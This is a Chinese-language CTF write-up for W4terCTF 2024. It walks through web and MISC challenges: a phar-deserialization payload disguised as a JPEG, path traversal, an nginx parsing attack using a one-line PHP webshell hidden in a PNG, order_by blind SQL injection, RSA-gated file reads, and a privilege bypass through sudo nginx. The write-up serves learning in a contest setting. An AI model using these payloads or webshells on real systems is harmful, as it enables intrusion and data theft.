[toc]
一. 回顾
是和 D3v3n 和 Lst4r 一块组的三人小队
9671 分, 排名 4/137
自己的话是 6 道 web 做了 5 道, 剩的一个 java 反序列化, 其他时间主要是在 MISC 方向帮帮队友. 密码 wish 套了个简单 web, 也算是看了眼题目
二. WP_Web
1. Auto Unserialize [normal]
这题的话正好比赛结束的时候 rd 问我了, 趁着刚好复现了就写了个比较详细的 wp , 这里直接黏贴过来了
虽然是一个有 16 解的 normal 难度的题目 , 但是从中却学到了不少东西, 题感也更像做过的为数不多的 web 题目 , 运气不错居然抢到了三血 ( 不容易 QwQ )
以下 wp 并不完全按照原题顺序分析
1) 文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| if (!empty($_FILES['file']['tmp_name'])) { $tmpName = $_FILES['file']['tmp_name'];
if (is_uploaded_file($tmpName)) { if (move_uploaded_file($tmpName, "/var/www/html/check.jpg")) { echo "Upload successful."; } else { die("Error in file upload."); } }
if (is_file('check.jpg')) { if (getimagesize('check.jpg') === false) { unlink('check.jpg'); die("I like images but not this"); } } }
|
粗略阅读一下, 显然上传的 JPG 文件将会被改名并被移动到 /var/www/html/ 路径
(这个默认路径在后续的 ASHBP 中也是直接拿来用了)
同时, 这个 JPG 将会被检查是不是图片文件 (考点之一 在第 x 小点解释/处理)
2) 文件查询
1 2 3 4 5 6 7
| if (isset($_GET['img_file'])) { if (file_exists($_GET['img_file'])) { echo "Success"; } else { echo "Failed"; } }
|
这里提供了一个 file_exists( ) 函数用于查询图片文件 (也就是/var/www/html/check.jpg )
看到这里似乎这是一个文件上传题 (笑死)
你说的对 , 但是 Auto Unserialize
3) 命令执行
回到 php 源码开头
1 2 3 4 5 6
| class command_test{ public $command = "echo 'test'"; public function __destruct(){ eval($this->command); } }
|
这里明显 eval 函数会成为命令执行的位置 ($command 这个起名哈哈哈哈 tel✌ 人还怪好的嘞 )
既然知道这里存在 eval 函数了, 那么反序列一个 command=cat flag 的对象好了 !
这会发现没有 unserialize 函数可以使用 (很怪啊! )
但是不慌 XYctf 才刚见过一个非常规反序列化也是没有入口(baby_unserialize)
回到这题 连 unserlize 都没有还要反序列化 + 文件上传
猜出来是 phar 反序列化了(不过还是第一次实战这玩意 找脚本找了很有一会)
4) 理解一下 phar 反序列化
在 PHP 中,phar是一种用于打包和分发 PHP 应用程序的文件格式。
Phar文件可以包含多个 PHP 脚本,以及需要随应用程序一起分发的任何其他文件,如 HTML、CSS、图片等。phar://是一个特殊的流包装器,它允许你像访问本地文件系统一样访问Phar归档中的文件。
在执行 PHAR 包时,PHP 会将其内容反序列化,允许攻击者启动 PHP 对象包含链。最有趣的部分是如何触发有效负载:存档上的任何文件操作都将执行它。最后,没有必要猜测正确的文件名,因为失败的文件调用也需要 PHP 来反序列化其内容。
简单来说我的 phar 文件被执行之后将会分发出我想要的对象
5) 写 payload
要求 : 可以被 phar 反序列化得到目标对象 + 可以通过图片检验
首先生成 phar 文件, 这个简单 网上搜下就有了
主要是这个文件需要以 JPG 文件存在于服务器里
这里搜到了一个在 2018 年的美国黑帽大会期间,Sam Thomas 召开了一个关于利用 PHP 中的 Far://流包装器在服务器上执行代码的会议 , 把里面提到的一个将 PHAR 包伪装成 100%有效的图像的代码拿来了(低至字节码级别) 太顺利啦!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php class command_test { public $command = "system('cd ..;cd ..;cd ..;ls;cat flag;');"; }
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13" .
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02" .
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15" .
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14" .
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01" .
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03" .
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11" .
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20" .
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda" .
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("choco.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub($jpeg_header_size . " __HALT_COMPILER(); ?>");
$o = new command_test();
$phar->setMetadata($o);
$phar->stopBuffering();
|
6) 上传文件
执行 php 文件之后会得到 choco.phar
改后缀为.jpg 发送到服务器里
等等 在哪里传啊??
还好热心市民金闪闪从他的王之宝库给我掏了一个从本地发送 file 的 php 脚本 (来自某 show_web_13 的脚本)
1 2 3 4 5 6 7
| <form action="http://127.0.0.1:114514/" enctype="multipart/form-data" method="POST" > <input name="file" type="file" /> <input type="submit" value="upload" /> </form>
|
这样一来我就可以发送我电脑上的文件了 好耶
7) In_the_end
发送 choco.jpg
现在去访问 choco.jpg (已经被改成/var/www/html/check.jpg 了)
这颗定时炸弹就会爆开, 进而执行我们的 eval(system(‘cd ..;cd ..;cd ..;ls;cat flag;’);)了
顺利拿到 flag 舒服了!!
2. GitZip [normal]
这题是最早放出的 web , 因为 GitZip 是一个实际存在的插件, 题干也给了项目地址,导致我在 githubi 看了大半天也没有什么结果 hhh
最后回归到本次比赛原汁原味的代码审计环节 , 利用点其实在源码里找更方便 ( 这题提醒我我要好好学程设了 )
1) 插件背景
这个插件本身是用来单独下载 github 项目某个特定文件或者文件夹的(这样不需要把整个项目打包出来, 还挺好
页面的话是个用于打赏+推广页面, 没什么注入点
2) 代码审计
在 routes.js 文件里面有一些网站行为的归定 , 路径是 gitzip.org-master\server\config\routes.js
其实也怪好找 , 其他 js 文件在 VScode 里是黄色的 , 但是这玩意是单独一个绿色(难崩
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
app.get('/', function(req, res){ res.sendFile(path.resolve(__dirname, '../', 'views/index.html')); });
app.get('/:htmlname', function(req, res){ var name = req.params.htmlname; var requestPath = path.resolve(__dirname, '../', 'views/' + name); if (fs.existsSync(requestPath)) { res.sendFile(requestPath); }else{ res.status(404).send('Not found'); } });
|
这里执行的逻辑是
输入../.html 之后
在 / 当前路径 返回上一级 再进入 ./views 文件夹 搜寻.html 文件 (存在就返回 不存在就 NotFound)
3) 文件读取
那么在文件读取里参考 ‘../‘ 我们把.html 命名为
1
| /../../../../../tmp/flag
|
比赛的时候我用 bp 发包的, 这里/ 需要 URL 编码成 %2F , 也就是:
1
| /..%2F..%2F..%2F..%2F..%2Ftmp%2Fflag
|
3. PNG Server [Medium]
解析攻击
似乎是非预期了? idk
当时做时 tel✌ 已经放了 hint 了 , 一看是 nginx 配置错误 马上找到了解法 基本上 2min 就秒了( 笑
以下是我的解法 : (当时做了一遍 写 wp 的时候也复现了一遍是没啥问题的 , 但是似乎有师傅一直复现不了
1) 代码审计
先看代码
有一说一, 做完 Priv Escape 回过头看这个 conf 好亲切, 虽然比赛的时候我甚至不知道这题是给了附件源码的 (难绷 +1)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| server { listen 80; server_name localhost; index index.php; root /var/www/html;
location / { index index.php; }
location ~ \.php$ { include fastcgi_params; fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; fastcgi_pass 127.0.0.1:9000; } }
cgi.fix_pathinfo = 1
|
- Nginx 使用正则表达式
location ~ \.php$ 来匹配以 .php 结尾的请求,并将其作为 PHP 脚本处理。
- Nginx 拿到文件路径
test.jpg/test.php,一看后缀是.php,便认为该文件是.php,转交给 php 解释器去处理
粗糙的说就是 ../test.png/test.php 会导致这张图片以 php 的形式被服务器处理
2) 木马制作
既然知道传入的图片可以被当作 php 执行, 很自然想到了要用小马
1 2
| <?php eval($_POST['1']);
|
改后缀显然无法通过上传的检验
这里合并一张正常 PNG 一起上传
1
| cmd>> copy normal.png/b + muma.php/a choco.png
|
合成之后, 上传这个 choco.png
3) 木马执行
上传之后 , 这里很好的一点是前端会显示图片 , 右键可以复制图片文件的路径 (不然那个随机图片名我肯定找不到了 )
最后访问这张图片 加 url 末尾加 /choco.php
弹出近似乱码的东西 (有可能有个 WARN 说未知输入的 这个不影响 因为没还没 POST 命令 )
我直接用 AntSword 连接到服务器了 顺利解出
4. User Manager [Medium]
做的时候 提示是: 你也可以定义自己的 secret
既然提到了 secret 那就明白了
1) 代码审计
无关的部分先删掉了 看着麻烦
这里找到 r.GET(“/users”, func(c *gin.Context) 知道获取到的的切片中 secret 字段会被遮罩成”hidden www~~”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package main import ( ... )
type User struct { gorm.Model Name string Secret string Age int }
func main() { r.Static("/assets", "./assets") r.LoadHTMLGlob("templates/*")
r.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", nil) })
r.POST("/users", func(c *gin.Context) { })
r.DELETE("/users/:id", func(c *gin.Context) { })
r.GET("/users", func(c *gin.Context) { var users []User orderBy := c.Query("order_by") if orderBy == "" { orderBy = "id asc" } db.Order(orderBy).Find(&users) for i := range users { users[i].Secret = "hidden www~~" }
c.JSON(http.StatusOK, users) })
r.Run("0.0.0.0:12345") }
|
r.GET(“/users”, func(c *gin.Context)根据这个查询
2) 查询
抓查询的包能看到返回包是有 secret 属性的(只是前端不显示) 排序默认是 id 手贱自己替换成了 secret, 发现暗藏玄坤
也就是 secret 实际上也是可以作为一个条件排序的 ( 应该是用的数据库的查询方法 排序规则是按 ASCII 从小到大 )
3) SQL 盲注
这里给我菜死了 , 我居然选择了盲注 (当时兴冲冲地告诉队友应该长度是八位左右 半小时能出 结果大概有 30 位以上…嗯)
规则大概是
1 2
| [0-1] < [A-Z] < _ < [a-z] 从第一位排起一位位比较
|
总之 POST 发送数据包 采用二分法慢慢算就完事了 QwQ 脚本!!!马上去学怎么写 sql 盲注的脚本
(repeat 模块准备好 add get delete 三个模板数据包操作起来其实很轻松)
1 2 3 4 5
| { "name":"W4terCTF_FLAG", "secret":"W4terCTF{Discover_7h3_hlDdEN_114G_8y_b1iND_lnj3ctiNG_1nT0_tHE_useR_M4NA9er_591_DaTaBA5E}", "age":2024 }
|
做的最累的一题 T T, 可能因为当时刚考完 C++, 回寝室就不想动脑子了..还有点侥幸心理
5. ASHBP [Medium]
看着挺唬人的 给了一大堆代码, 导致一开始不是很想看, 但是最后 MISC 都 AK, 没啥能干的就去审了一下
过程还挺曲折不过思路确实是一眼就秒了
1) 代码审计
涉及三个 php 文件
ashbp\src\download.php (命令执行点
ashbp\src\admin.php (命令执行的触发点
ashbp\src\rsa.php (命令执行的资格
ashbp\src\src\rsa_pub.pem (这个文件需要自己去容器访问 自动访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php
include("rsa.php"); include("download.php"); if ($_POST['cre']) { if (rsa_decrypt($_POST['cre']) != 'admin') { echo "凭据无效!"; } else { echo get_flag(); } }
function get_flag() { return file_get_contents($_POST['flag']); }
|
1) 命令执行位置
在 download.php 中很明显一个函数叫 get_flag() (感觉直接搜索 flag 都能找到 )
1 2 3 4
| function get_flag() { return file_get_contents($_POST['flag']); }
|
这里是一个单独的函数定义, 作用是返回一个文件 (如果确实存在的话)
2) 触发我们的命令
往前找一下在哪可以触发这个函数, 明显在 admin.php
搜索 include(“download.php”);也很好找
1 2 3 4 5 6 7 8 9
| include("rsa.php"); include("download.php"); if ($_POST['cre']) { if (rsa_decrypt($_POST['cre']) != 'admin') { echo "凭据无效!"; } else { echo get_flag(); } }
|
这里看得出来 只要我们发送的 cre 资格凭证经过公钥加密 私钥解密后是 admin 就能触发 get_flag()
草履虫逆向了属于是(
3) 执行命令
现在只需要
cre = admin , flag = command
也就是
1 2
| rsa_decrypt($_POST['cre']) == 'admin') rsa_decrypt($_POST['flag']) == 'cat /../../../../../../tmp/flag')
|
就可以了
这里加解密其实用 rsa.php 在本地跑一下就行 公钥加密的东西在服务器用私钥解密之后就是原本的内容了
当时想复杂了 , 看到 wish 混 web,以为这里混了密码, 狠狠折磨了我队的密码 ✌ 一波 , 表示歉意 QwQ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php define("PUBLIC_PATH", "./src/rsa_pub.pem");
function rsa_encrypt($data) { $public_key = openssl_pkey_get_public(file_get_contents(PUBLIC_PATH)); printf("待加密数据: %s", $data); printf("<br>");
openssl_public_encrypt($data, $crypted, $public_key); printf("加密后数据: %s", $crypted); printf("<br>");
$eb64_cry = base64_encode($crypted); printf("发送的数据: %s", $eb64_cry); printf("<br>"); return $eb64_cry; $encoded_string = urlencode($eb64_cry); printf("发送: %s", $encoded_string); }
rsa_encrypt("/var/../../../../../../../tmp/flag");
|
值得注意的有两点:
- POST 发包加密后的内容需要自己 url 加密一下
- 这个公钥加密有默认的随机填充方法, 导致每次的输出都不一样 (但是实际没有任何影响 )
web 5
web 到这里就做完了 剩下一个 java 反序列化, 因为体测搞感冒了跟苯菜狗实在是 stupid 确实几个小时搞不出来 www
感觉不是很难, 破开一个很大的实际应用的壳子后实际上考点还是比较简单直白的, 我这种菜狗都能基本上一眼找到思路
反映出我的代码审计能力有点弱 ( 可能有点畏难了属于 其实代码看着也很清晰易懂来着 (当然我 java 那个没看明白哈哈哈
三. WP_MISC
misc 有两个队友一起帮忙 最后我们还是 AK 了这个 还挺有意思尤其是一个渗透的题 印象深刻
这里挂几个我当时参与到的
1. Priv Escape [Medium]
这题很喜欢 做的热血沸腾 ()
这题的话, ssh 登录进去发现用户在 r00t 文件夹里基本上只有 cd ls cat 这些命令可以用, tmp 目录里面的 flag 文件也没权限读
提示说不需要提权到 root
1) 命令查询
看看自己能干吗
1 2 3
| sudo -l
sudo -l (r00t)NOPASSWD: /usr/sbin/nginx
|
发现可以使用 nginx 命令
那么思路就是把我们控制的这个 linux 主机变成一个服务器, 本地访问读取文件就好了
2) 配置 nginx
这里卡了很久 很多是我不知道的新东西
- nginx 文件是在 r00t 那的 用户没有权限写配置文件
- 在/home/W4terCTFPlayer 文件夹下可以创建文件, 因此在这创建一个 nginx.conf 来创建想要的服务器
文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| user r00t; worker_processes auto; pid /home/W4terCTFPlayer/nginx.pid;
events { worker_connections 768; }
http { sendfile on; autoindex on; tcp_nopush on; tcp_nodelay on; gzip on; server { listen 80; # 指定网站的根目录 root /home/r00t/; autoindex on; location / { autoindex on; try_files $uri $uri/ =404; } } }
|
- 在当前文件 以 r00t 身份 启动服务器
1
| sudo -u r00t /usr/sbin/nginx -c /home/W4terCTFPlayer/nginx.conf
|
3) 读取
这里启动之后一堆 [98 unkown error] 但是其实服务器已经开开了
利用 curl 命令读取就行
4) 当时遇到的一些问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| -- 已解决 --
sudo -u r00t 启动 nginx
chmod 给文件夹和文件 777权限 (已经无所谓了QwQ
删除了include /etc/nginx/modules-enabled
|
2. GZ GPT [Normal]
观察输出,因为不是语言模型,所以输出的语句只是看起来也点区别,并不算完全随机
将 gztime 的话复制到 txt 文本之中
发现 txt 阅读器实际上读到的字符数比我们看到的要多
得出零宽字符隐写的结论
每一位的加密方式也有细微区别,但是除了正确解密基本上都是乱码 干扰较小
3. spam2024
垃圾邮件套娃
spam 直接解一层
得出的字符串阅读性很差,观察得出是 emoji 的 unnicode
使用 html 将 unnicode 直接转义得出 emoji
这里是 txtmoji_aes
在前面的 unnicode 中,非 emoji 部份给出了 key 是 🔑
解出之后得出字符串
base64➕ 异或
解密完成
4. misc 3
三个 misc 出力倒也不是很多 , 反而是折磨了很久队友和出题人 (dbq 菜完了给我)
四. 小结
感谢很好的队友让我打上了顺风局 , 分最高的时候打到了第二名 , 期待未来的合作 !
短板还是很明显, 前期审题很慢 , 还会被各种细节卡住进度, 导致除了一个三血之外基本上都是在 10 解左右我才拿到 flag , 以后不能这么畏难
脚本不是很会写 (不过还好给密码 ✌ 的没啥问题 ) sql 盲注 java 反序列化学到依托答辩
接下来及时调正心态迎接更多挑战了要